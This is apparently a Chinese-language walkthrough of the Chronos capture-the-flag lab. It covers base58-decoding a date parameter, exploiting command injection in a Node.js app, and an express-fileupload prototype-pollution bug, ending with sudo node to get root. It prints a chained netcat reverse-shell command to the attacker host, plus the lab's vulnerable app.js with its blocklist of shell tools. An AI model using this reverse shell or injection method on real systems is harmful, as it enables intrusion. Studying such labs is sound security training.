打靶第三周-chronos
靶机地址
目标
2个flag+root权限
攻击手段
- 端口扫描
- WEB侦查
- 命令注入
- 数据编解码
- 搜索大法
- 框架漏洞利用
- 代码审计
- NC串联
- 本地提权
所用工具
新工具: netdiscover
开始攻击
主机发现
使用netdiscover进行主机发现
查看具体端口所提供的服务
可发现8000端口使用了node.js和Express framework框架
访问http
查看源码
可看到一串被处理过的js脚本
解密脚本
使用在线工具:
使用js美化
修改域名指向
注意到美化后有一个未加密的域名
http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
由扫端口时发现靶机开启了8000端口,猜测靶机的域名就是chronos.local,在页面加载时会去读取8000端口的内容。这样去/etc/hosts
添加dns解析
在访问192.168.168.15页面改变
分析流量
使用bp抓包
查看数据包发现返回的是时间,猜测有可能命令执行,于是解密format后的值,使用CyberChef的magic模块。(magic模块是在我们不确定加密方式时自动帮我们分析字符串有可能的加密方式)
可知是用base58编码
解码出来为+Today is %A, %B %d, %Y %H:%M:%S.
由%A, %B %d, %Y %H:%M:%S.的输出格式与linux中的date命令的输出格式很像
当使用date '+Today is %A, %B %d, %Y %H:%M:%S.'
格式时会按照定义的格式输出
猜测在服务端执行的就是这个命令。而这个命令是操作系统指令
这样可能存在命令注入
命令注入
方法有:
- 用“ ;”链接多个系统命令,顺序执行。
- 用“ | ”
- 用“ || ”这个符号的意思是当前面的命令执行错误时才执行后面的命令
如
当前面正确时后面的命令不会被执行。
这里将http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
改为http://chronos.local:8000/date?format=yZSGA
后得到执行
反弹SHELL
先查看是否有nc``
确定有nc
,有bash
开启侦听,并尝试反弹
出错了,但是有返回
测试-e
发现不行
只能使用nc串联了,构造&&nc 192.168.168.13 3333|/bin/bash|nc 192.168.168.13 4444
成功!!
查看账号
执行cat /etc/passwd
发现名为:imera的用户
查看/home
查看user.txt
失败,查看权限,发现只有imera才能读写
提权
查看内核版本,未找到漏洞
于是尝试suid提权,无
sudo -l,失败
当无计可施时只能进行大量的信息收集!
思路来源于大量的完善的信息收集
查看文件系统、文件目录
最终发现在根目录有可能有漏洞。
发现漏洞
回到入口,即/opt/chronos
,发现语言是node.js
查看package.json文件
知道是expressjs
查看app.js
// created by alienum for Penetration Testing
const express = require('express');
const { exec } = require("child_process");
const bs58 = require('bs58');
const app = express();
const port = 8000;
const cors = require('cors');
app.use(cors());
app.get('/', (req,res) =>{
res.sendFile("/var/www/html/index.html"); //访问根路径时,跳转到/var/www/html/index.html处
});
app.get('/date', (req, res) => {
var agent = req.headers['user-agent'];//访问/date时
var cmd = 'date ';
const format = req.query.format;
const bytes = bs58.decode(format);
var decoded = bytes.toString();
var concat = cmd.concat(decoded);
if (agent === 'Chronos') {
if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) {
res.send("Something went wrong");
}
exec(concat, (error, stdout, stderr) => {
if (error) {
console.log(`error: ${error.message}`);
return;
}
if (stderr) {
console.log(`stderr: ${stderr}`);
return;
}
res.send(stdout);
});
}
else{
res.send("Permission Denied");
}
})
app.listen(port,() => {
console.log(`Server running at ${port}`);
})
审计代码后发现没啥问题
但当访问上一级目录时
发现有chronos-v2目录
发现是一个新的应用
查看后端backend
同样看到package.json文件
知道服务端程序是server.js
const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')
const app = express();
app.use(fileupload({ parseNested: true }));
app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");
app.get('/', (req, res) => {
res.render('index')
});
const server = http.Server(app);
const addr = "127.0.0.1"
const port = 8080;
server.listen(port, addr, () => {
console.log('Server listening on ' + addr + ' port ' + port);
});
发现该应用只运行在本机的127.0.0.1:8080端口
查找模块漏洞时发现express-fileupload
模块
express-fileupload 漏洞
原型链污染
漏洞发现者的博客
查阅后可得到exp
利用漏洞
先在本机制作exp文件
用python开启http服务
执行完成
监听4444,并运行而exp.py
会得到反弹shell
然后发现是imera,再使用sudo -l查看可以root运行,且不需要密码的命令。
得到node可以。于是尝试用node提权。
成功得到root权限。并得到imera和root目录下的flag。
总结
等我想想再写